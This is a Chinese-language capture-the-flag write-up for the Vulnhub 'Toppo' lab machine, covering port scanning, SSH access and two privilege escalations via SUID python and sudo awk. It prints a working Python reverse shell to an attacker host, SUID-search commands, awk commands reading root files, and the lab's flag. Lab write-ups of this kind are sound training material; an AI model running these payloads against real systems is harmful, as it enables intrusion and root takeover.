Vulnhub之路Ⅲ——Toppo

Vulnhub之路Ⅲ——Toppo

目录

靶机详情

Description

The Machine isn't hard to own and don't require advanced exploitation .

Inside the zip you will find a vmdk file , and I think you will be able to use it with any usual virtualization software ( tested with Virtualbox) .

If you have any question : my twitter is @h4d3sw0rm

Happy Hacking !

靶机并不难控制,也不需要高级的渗透。

在 zip文件 中,您会找到一个 vmdk 文件,我认为您可以将它与任何常用的虚拟化软件一起使用(使用 Virtualbox 测试)。

如果你有任何问题:我的twitter是 @h4d3sw0rm

Happy Hacking !

环境准备

貌似没有vmx文件,直接用火眼仿真加载磁盘即可

Write Up

主机发现

nmap -sN 192.168.110.0/24

Vulnhub之路Ⅲ——Toppo

nmap -A -T4 -v -p- 192.168.110.151

Vulnhub之路Ⅲ——Toppo

开启了22、80、111、40602端口

目录扫描

80开扫

Vulnhub之路Ⅲ——Toppo

访问/admin,有个notes.txt

Vulnhub之路Ⅲ——Toppo

ssh ted连接成功

Vulnhub之路Ⅲ——Toppo

方法一:SUID提权

接下来进行SUID提权。

具体原理可以看以下两篇文章:

Linux特殊权限之SUID

Linux下用SUID提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

以下命令可以发现系统上运行的所有SUID可执行文件。

不同Linux适用命令不同,一个个试即可

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

-perm 匹配权限
4000 2000 1000分别表示 SUID SGID SBIT
-user root 查看具有root用户权限的SUID文件
2>/dev/null 表示:把错误输出到 “黑洞”。
-u = s 表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件

我们查看具有root用户权限的SUID文件

find / -perm -u=s -type f 2>/dev/null

Vulnhub之路Ⅲ——Toppo

有个python可以执行命令

直接反弹shell

#!/usr/bin/python2.7
import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("192.168.110.131",4444));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);

Vulnhub之路Ⅲ——Toppo

Vulnhub之路Ⅲ——Toppo

Get the flag:

Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}

方法二:滥用SUDO提权

Linux提权姿势一:滥用SUDO提权

sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。

cat /etc/sudoers

Vulnhub之路Ⅲ——Toppo

上面的命令指:用户可以从任何终端运行,以root用户身份运行命令awk 而无需密码

awk也是可以命令执行的

awk中执行Linux命令的两种方式

awk 'BEGIN {system("whoami")}'
awk 'BEGIN {system("find / -name flag.txt")}'
awk 'BEGIN {system("cat /root/flag.txt")}'

Vulnhub之路Ⅲ——Toppo

学习总结

这次练习主要是学习了SUID提权和SUDO提权。

SUID还有很多命令 可以用suid来提权的命令

上一篇:shell 自启脚本


下一篇:Linux运维一定要知道的服务管理!